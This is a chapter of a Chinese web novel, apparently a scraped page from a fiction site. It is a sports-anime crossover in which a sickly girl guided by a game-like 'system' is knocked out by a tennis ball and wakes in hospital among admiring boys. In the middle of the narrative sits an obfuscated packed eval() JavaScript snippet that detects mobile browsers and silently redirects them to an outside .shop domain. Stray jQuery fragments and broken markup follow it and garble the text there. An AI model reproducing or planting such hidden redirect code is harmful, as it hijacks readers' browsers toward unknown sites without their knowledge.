文趣网 > 都市小说 > 欲言又止的研磨君 > 19.欲言又止第十九天
    静枝很安详。

    穿暗红队服的黑尾夹杂几个灰白的一起冲过来,她很安详;

    底下蓝白队服的青学人也好几个变了脸,人过不来还是下意识伸手;

    研磨从下而上冲在最前面,话说他居然能做出这么大幅度的表情吗?

    直视眼前冲她砸来的小黄球,她又一次深吸口气。

    【真的不会有问题吧?】

    【不会的咪,我们不会轻易拿咪的身体健康开玩笑!】

    不会轻易开玩笑,也就是会咯?

    静枝挺惊讶她到这一步竟然还能自己跟自己开玩笑。

    这球虽说是扣杀后弹开,网球又不像排球那么重,那么大,到她面前已经削弱不少。

    但杀伤力依然在。

    不说她身体的原因,光是不知道这球会落到哪就够让人心惊胆战。

    砸到脸,说不定会砸掉两颗牙齿;砸到眼睛更是不用说,太阳穴?说不定明天就失忆了。

    最好还是砸到身上,虽然会留至少三个月的淤青——说不定也不用这么久?

    她毕竟还是收获了不少加点……

    系统,考验你的时候到了!!

    胡思乱想,球已飞到眼前。

    静枝这时才发现自己有多天真。这样的球速下,加持风力,她完全没办法判断网球的落点!!

    不管了。

    系统让她务必要在这场比赛里被球砸中一次,唯一不会干扰比赛,又能完成任务的方法……

    就只有这个了!

    她两眼紧闭,像一个怕到极点,不敢用自己的两只眼睛见证灾难发生的人。

    手臂交叉在身前,头微垂,小麻雀那样等待着。

    【检测到特殊场景任务……】

    【正在开启防护……】

    【检测到必要条件……】

    【防护已开启】

    砰!!!

    一声巨响之后,静枝就什么都不知道了。

    *

    再睁眼是熟悉的白色天花板。

    甚至连那一丁点海星形状的污渍都一模一样,静枝就知道她又在老位置醒来了。

    再小一点的时候,因为免疫力更差,她出入医院的频率已经到了无法正常上学的地步。

    医院比学校、比家都更像家。

    她知道哪里的自动贩卖机里有全院限量的汽水,也知道高峰期从四楼下食堂的最快捷路径。

    她知道哪道安全出口背后常能遇到手术失败的医生,哪扇大门前跪满了无能为力的家属。

    据说,以前她信誓旦旦:“忍足医生,我不会让你缩在那里偷偷哭的。”

    静枝有点不记得了,她对自己的记忆是从平静面对这副破烂身体开始的。

    似乎在那之前,天真的、总相信一切都会好起来、还有余力给别人承诺和信心的那个人并不是真正的她。

    而真正的她,每次睁眼都会看到同样一抹天花板,苍白的吊顶,黑色的格纹,还有一丁点海星模样的污渍。

    “小静。”忍足医生不在,惠美护士倒是在,“感觉怎么样?转动眼球,会感觉头晕吗?”

    不用她说,静枝也早就已经做过一次了。

    说实话,这比考试流程还熟悉。

    “看我这里哦。”惠美护士轻声问她,“这是几?”

    “三。”

    “三是个怎样的数字?对你来说。”

    “还不错吧。”

    因为加上朋友一共是三个人。

    加上爸爸妈妈也是三个人。

    静枝觉得她只要永远在这两组三个人里待着就足够了。

    其他的世界,她没余力,也没必要探索。

    至少以前是这样相信的。

    “很好的答案,那么接下来,试着抬起手臂……”

    昏迷中苏醒还有一整套检查流程,惠美常年经手她的病情,跟忍足医生一样,对静枝无比熟悉。

    多亏这样,才简化了一些需要跑来跑去排队办手续的检查项目。

    血常规、肝肾、白细胞、呼吸道……

    静枝小手一挥:“给我来一套全的。”

    惠美忍不住笑:“你还好意思说,忍足医生可是要被你吓死了。”

    狭间家全家都是医院常客,还是最省心的那一类病人。

    病患自己早慧安静,配合度高,病人家属也全力配合支持,不管什么时候没有出现过让医院痛呼“你们怎么能让她这样做?!”的情况。

    今天一通电话,说静枝被网球砸晕过去,惠美看忍足医生是真的也要晕过去了。

    一到医院就被抢去检查了一遍,奇怪的是,除了被当头砸中那一块有淤血红肿,静枝身体上没有其他任何问题。

    这在其他人或许正常——听孤爪君和黑尾君复述现场情况,球飞过来的时候力气已经不重了。

    但对静枝……

    这可是气候比预料低了1摄氏度都会狠狠发烧七天的狭间静枝。

    检查完一通,惠美护士走了,走前也没多叮嘱:“好好休息,今天房间里只有你。”

    人影消失在门口,三秒后又转回来:“对了,孤爪君和黑尾君也没走。”

    她目光里充斥着和口吻一致的同情:“总之,小静你自求多福吧。”

    那两人可是全院出名的骑士病!

    静枝微笑点头:“……”

    她能说什么。

    房间里没有别人了,静枝平躺看天,没有再次闭上眼。

    其实已经有点累了,但还是坚持清醒。

    【咪,奖励已经收到了吗?】

    系统问。

    片刻,静枝想:【刚刚那样就算收到了吗?】

    【是的哦!】

    又过了一会儿。

    【……你是不是在跟我开玩笑?】

    系统就差给她跪下了:【咪,这可是特殊场景的打卡奖励!弄错什么咪都不会弄错这个的!!】

    【哦,也就是说别的有可能弄错?】

    又被耍了。

    系统偷偷遁了,静枝一个人享受这片刻难得的安静。

    她不怀疑系统说谎,因为她身上也没什么值得欺骗和觊觎的。

    只是这样,她冒险完成任务得到的奖励看上去就太少了……吗?

    医院的天花板是万年不变的颜色,从同一个位置的污渍,静枝能判断出她连床位都没有换过。

    没过多久她看见研磨和黑尾从门口走进来,走到她的床头。

    黑尾没什么变化,研磨脸色看上去很阴沉,对上她的视线,稍微调整了一下。

    这状态静枝本来应该很熟悉,是他们俩每每听说她病情没有好转时候的经典皮肤。

    不过为什么说是“本来应该”呢……

    她慢慢张开嘴:“黑尾、研磨。”

    比她熟悉的那个更要成熟少许的黑尾在床边坐下,伸手碰了碰她的脸。

    静枝想闪,没闪开。她也没弱到这地步吧?

    “不是说好了也叫我铁朗吗?”这个黑尾的声音也比她认识的黑尾更低,“还是又梦到以前的事了?”

    以前的事?

    ——嘎吱。

    病房略显老旧的门被推开,黑尾和研磨走进来。

    黑尾和平时相比,没什么变化。

    比赛时候他也是这样,为了不给队友压力,永远维持笑眯眯的扑克脸。

    研磨表情比平时阴沉些,对上她的视线,也没调整,像是故意摆给她看的。

    ……臭着脸干什么?哼。

    静枝眼珠转动,重新安静地看向天花板。

    脚步声由远及近,黑尾的脸先出现。

    他的手……静枝第一次注意到他的手,好大,又很匀称。

    腕关节也粗大,却不让人觉得笨拙,而是可靠。

    黑尾的手背碰了碰她的额头,静枝慢慢眨眼。

    “铁朗?”她下意识说。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758010|208982||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    黑尾一愣,旋即笑了笑,手往下轻轻用虎口卡住她的下巴,捏住她脸颊,静枝说不出话了。

    “以为这样求饶就能让我们轻易放过你吗?”表情可以掩饰,声音是藏不住的恼怒,“静枝,今天你可把我和研磨都吓坏了啊。”

    静枝当不成鸵鸟了,研磨也慢吞吞走过来。

    肩膀上斜挎着书包,其实完全可以放在椅子上的,按他的习惯,进门第一件事就是把身上的东西全都拆下来。

    但今天没有,也不知道是在跟什么较劲。

    静枝有点心虚:“研磨。”

    研磨垂眸看她,不作声。

    他肯定又在生气了。

    不得不说,静枝不是个容易对别人服软的人。

    虽然完全出于自愿,不过治病已经消耗了她绝大多数的忍耐力,很多日常小事上,她不愿意做先退一步的人。

    今天却不知怎么,那个似梦似幻的景象里,研磨更阴沉一些、更成熟一些、更平静一些的脸一直在眼前晃动。

    摸摸看吧?

    当然是摸不到的,她抬起手臂最多也就够到研磨的包。

    被拉了两下,研磨有点不耐烦了:“这是打算做什么?也跟我求饶?”

    他抓着静枝的手,从包上挪开,握在手里。

    “没有。”矢口否认,静枝挣了挣,没挣开,“我就是在想,如果再过几年睁开眼睛也是你们两个在病床前……”

    她想笑得灿烂些,不过在黑尾二人看来就只是微微一笑而已。

    “那,我做人也太成功了吧?”

    天色虽然渐晚,窗台却有明亮光芒流淌进来,不知道是残余的太阳还是月光。

    病房里除了三人的呼吸没有多余的声音,滴答的液体和哔哔跳动的机器已经成为习以为常的白噪音。

    这份柔和的静谧很快被打破了。

    又是推门,首先出现的是大家都很爱戴的忍足医生。

    她一头藏蓝长发盘在头顶,脸上架着金丝方框眼镜,所到之处研磨黑尾统统闪开。

    往床边一站就开始念:“各项检查指标还算稳定,综合来看,皮外伤。”

    轻轻瞪了赔笑的静枝一眼:“对了,还有个人,说要跟你道歉。”

    她往旁边让开,露出存在感其实强到很难被遮住的冰帝网球部部长。

    “不好意思,是本大爷的球砸到你了。”

    虽然在道歉,但静枝感觉在被他睥睨;

    虽然感觉被睥睨,又并没觉得有多冒犯。

    没记错的话,他是叫……

    “迹部君好大的面子。”又是一行人从门口进来。

    蓝白制服,排头的明明是青学部长手冢,先开口的却是不二。

    冰帝部长迹部景吾,面对被他误伤的受害者还算彬彬有礼,面对不二就没好脸色了:“我没想到青学的选手会这么喜欢管别人的事。”

    “很可惜,如果真的是‘别人’我不会管的。小静跟我可是好朋友呢。”

    这话一出,病床前的两人也看了过去。

    这个场景,这个构图,这个气氛,不出意外的话……

    【叮咚叮~咪的天!这难道就是传说中的,修·罗·场吗?!】

    【但是很可惜,修罗场对咪修养身体没有帮助呢,赶紧阻止大家的争吵,让病房回归宁静吧!】

    【让[不二周助]、[孤爪研磨]、[黑尾铁朗]、[迹部景吾]四人说出“算了”,即完成任务。】

    【时间限制内完成任务,将从以下奖励中随机获得一种:】

    【A.全新定制病号服+1——概率60%】

    【B.韧性+1——概率2%】

    【C.忍足姑侄好感+2——概率38%】

    静枝默默望天。

    选项B是【体质】、选项C是【感情】。

    那么,难道,选项A隶属于【财富】吗……?

    怎么能、这么、抠啊!